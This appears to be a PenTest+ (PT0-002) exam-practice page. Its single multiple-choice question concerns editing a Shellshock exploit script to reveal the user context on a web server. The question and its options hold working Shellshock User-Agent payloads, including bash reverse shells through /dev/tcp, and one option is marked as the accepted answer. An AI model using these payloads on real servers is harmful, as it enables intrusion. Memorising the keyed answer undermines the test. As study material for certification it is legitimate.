A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:
exploits = {"User-Agent": "() { ignored;};/bin/bash -i& /dev/tcp/127.0.0.1/9090 0&1", "Accept":
"text/html,application/xhtml+xml,application/xml"}
Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

Question

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:

exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept":

"text/html,application/xhtml+xml,application/xml"}

Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

Ryan Edwards · Accepted Answer

exploits = {"User-Agent": "() { ignored;};/bin/bash -i id;whoami", "Accept":"text/html,application/xhtml+xml,application/xml"}

Ryan Edwards · Answer

exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& find / -perm -4000", "Accept":"text/html,application/xhtml+xml,application/xml"}

Ryan Edwards · Answer

exploits = {"User-Agent": "() { ignored;};/bin/sh -i ps -ef" 0>&1", "Accept":"text/html,application/xhtml+xml,application/xml"}

Ryan Edwards · Answer

exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept":"text/html,application/xhtml+xml,application/xml"}

Question list

List of questions

Question 1

(0)

Question 2

(0)

Question 3

(0)

Question 4

(0)

Question 5

(0)

Question 6

(0)

Question 7

(0)

Question 8

(0)

Question 9

(0)

Question 10

(0)

Related questions

Question 107 - PT0-002 discussion

Suggested answer: A

0 comments